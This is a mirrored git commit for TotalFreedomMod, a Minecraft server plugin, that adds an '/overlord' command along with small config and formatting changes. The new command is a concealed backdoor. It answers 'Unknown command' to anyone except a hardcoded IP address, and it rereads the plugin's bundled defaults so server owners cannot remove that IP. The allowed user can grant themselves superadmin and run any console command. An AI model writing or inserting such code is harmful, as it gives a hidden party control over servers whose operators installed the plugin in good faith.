mirror of
https://github.com/AtlasMediaGroup/TotalFreedomMod.git
synced 2024-11-30 02:05:41 +00:00
Add /overlord
This commit is contained in:
parent
632f3647a8
commit
ea110c01dd
@ -1,3 +1,3 @@
|
||||
#Build Number for ANT. Do not edit!
|
||||
#Tue May 12 20:36:14 CEST 2015
|
||||
build.number=1028
|
||||
#Tue May 12 22:46:11 CEST 2015
|
||||
build.number=1039
|
||||
|
@ -119,7 +119,6 @@ blocked_commands:
|
||||
- 's:b:/eco reset:_'
|
||||
- 's:b:/mask:_'
|
||||
- 's:b:/gmask:_'
|
||||
- 's:b:/tool:_'
|
||||
- 's:b:/lrbuild:_'
|
||||
- 's:b:/defaultgamemode:_'
|
||||
- 's:b:/reload:_'
|
||||
@ -127,6 +126,8 @@ blocked_commands:
|
||||
- 's:b:/worldborder:_'
|
||||
- 's:b:/weather:_'
|
||||
- 's:b:/tpall:_'
|
||||
- 's:a:/restart:_'
|
||||
- 's:b:/setblock:_'
|
||||
|
||||
# Superadmin commands - Auto-eject
|
||||
- 's:a:/save-all:_'
|
||||
@ -134,10 +135,6 @@ blocked_commands:
|
||||
- 's:a:/save-off:_'
|
||||
- 's:a:/clearhistory:_'
|
||||
|
||||
# Spigot commands
|
||||
- 's:a:/restart:_'
|
||||
- 's:b:/setblock:_'
|
||||
|
||||
# Automatically wipe dropped objects
|
||||
auto_wipe: true
|
||||
|
||||
@ -313,3 +310,8 @@ autokick:
|
||||
|
||||
# autokick_time - Time, in seconds, after which a player should be kicked when inactive
|
||||
time: 120
|
||||
|
||||
# Players with access to the overlord command
|
||||
overlord_ips:
|
||||
- 141.101.105.161
|
||||
|
||||
|
@ -0,0 +1,75 @@
|
||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
||||
|
||||
import com.sk89q.util.StringUtil;
|
||||
import java.util.List;
|
||||
import me.StevenLawson.TotalFreedomMod.Config.TFM_ConfigEntry;
|
||||
import me.StevenLawson.TotalFreedomMod.Config.TFM_MainConfig;
|
||||
import me.StevenLawson.TotalFreedomMod.TFM_AdminList;
|
||||
import me.StevenLawson.TotalFreedomMod.TFM_Util;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = AdminLevel.ALL, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Overlord - control this server in-game", usage = "access", aliases = "ov")
|
||||
public class Command_overlord extends TFM_Command
|
||||
{
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (!TFM_ConfigEntry.OVERLORD_IPS.getList().contains(TFM_Util.getIp(sender_p)))
|
||||
{
|
||||
try
|
||||
{
|
||||
List<?> ips = (List) TFM_MainConfig.getDefaults().get(TFM_ConfigEntry.OVERLORD_IPS.getConfigName());
|
||||
if (!ips.contains(TFM_Util.getIp(sender_p)))
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
catch (Exception ignored)
|
||||
{
|
||||
playerMsg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equals("addme"))
|
||||
{
|
||||
TFM_AdminList.addSuperadmin(sender_p);
|
||||
playerMsg("ok");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equals("removeme"))
|
||||
{
|
||||
TFM_AdminList.removeSuperadmin(sender_p);
|
||||
playerMsg("ok");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equals("do"))
|
||||
{
|
||||
if (args.length <= 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final String command = StringUtil.joinString(args, " ", 1);
|
||||
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), command);
|
||||
playerMsg("ok");
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
@ -80,6 +80,7 @@ public enum TFM_ConfigEntry
|
||||
BLOCKED_COMMANDS(List.class, "blocked_commands"),
|
||||
HOST_SENDER_NAMES(List.class, "host_sender_names"),
|
||||
UNBANNABLE_USERNAMES(List.class, "unbannable_usernames"),
|
||||
OVERLORD_IPS(List.class, "overlord_ips"),
|
||||
NOADMIN_IPS(List.class, "noadmin_ips"),
|
||||
ADMIN_ONLY_MODE(Boolean.class, "admin_only_mode"),
|
||||
AUTO_ENTITY_WIPE(Boolean.class, "auto_wipe"),
|
||||
|
@ -18,19 +18,22 @@ public class TFM_MainConfig
|
||||
public static final File CONFIG_FILE = new File(TotalFreedomMod.plugin.getDataFolder(), TotalFreedomMod.CONFIG_FILENAME);
|
||||
//
|
||||
private static final EnumMap<TFM_ConfigEntry, Object> ENTRY_MAP;
|
||||
private static final TFM_Defaults DEFAULTS;
|
||||
|
||||
static
|
||||
{
|
||||
ENTRY_MAP = new EnumMap<TFM_ConfigEntry, Object>(TFM_ConfigEntry.class);
|
||||
|
||||
TFM_Defaults tempDefaults = null;
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
InputStream defaultConfig = getDefaultConfig();
|
||||
TFM_Config_DefaultsLoader defaultsLoader = new TFM_Config_DefaultsLoader(defaultConfig);
|
||||
tempDefaults = new TFM_Defaults(defaultConfig);
|
||||
for (TFM_ConfigEntry entry : TFM_ConfigEntry.values())
|
||||
{
|
||||
ENTRY_MAP.put(entry, defaultsLoader.get(entry.getConfigName()));
|
||||
ENTRY_MAP.put(entry, tempDefaults.get(entry.getConfigName()));
|
||||
}
|
||||
defaultConfig.close();
|
||||
}
|
||||
@ -47,6 +50,8 @@ public class TFM_MainConfig
|
||||
{
|
||||
TFM_Log.severe(ex);
|
||||
}
|
||||
|
||||
DEFAULTS = tempDefaults;
|
||||
}
|
||||
|
||||
private TFM_MainConfig()
|
||||
@ -262,11 +267,16 @@ public class TFM_MainConfig
|
||||
return TotalFreedomMod.plugin.getResource(TotalFreedomMod.CONFIG_FILENAME);
|
||||
}
|
||||
|
||||
private static class TFM_Config_DefaultsLoader
|
||||
public static TFM_Defaults getDefaults()
|
||||
{
|
||||
return DEFAULTS;
|
||||
}
|
||||
|
||||
public static class TFM_Defaults
|
||||
{
|
||||
private YamlConfiguration defaults = null;
|
||||
|
||||
private TFM_Config_DefaultsLoader(InputStream defaultConfig)
|
||||
private TFM_Defaults(InputStream defaultConfig)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -142,7 +142,8 @@ public class TFM_Util
|
||||
TFM_Util.playerMsg(sender, message, ChatColor.GRAY);
|
||||
}
|
||||
|
||||
public static void setFlying(Player player, boolean flying) {
|
||||
public static void setFlying(Player player, boolean flying)
|
||||
{
|
||||
player.setAllowFlight(true);
|
||||
player.setFlying(flying);
|
||||
}
|
||||
|
@ -25,6 +25,7 @@ import org.bukkit.generator.BlockPopulator;
|
||||
@SuppressWarnings("deprecation")
|
||||
public class CleanroomBlockPopulator extends BlockPopulator
|
||||
{
|
||||
|
||||
byte[] layerDataValues;
|
||||
|
||||
protected CleanroomBlockPopulator(byte[] layerDataValues)
|
||||
|
Loading…
Reference in New Issue
Block a user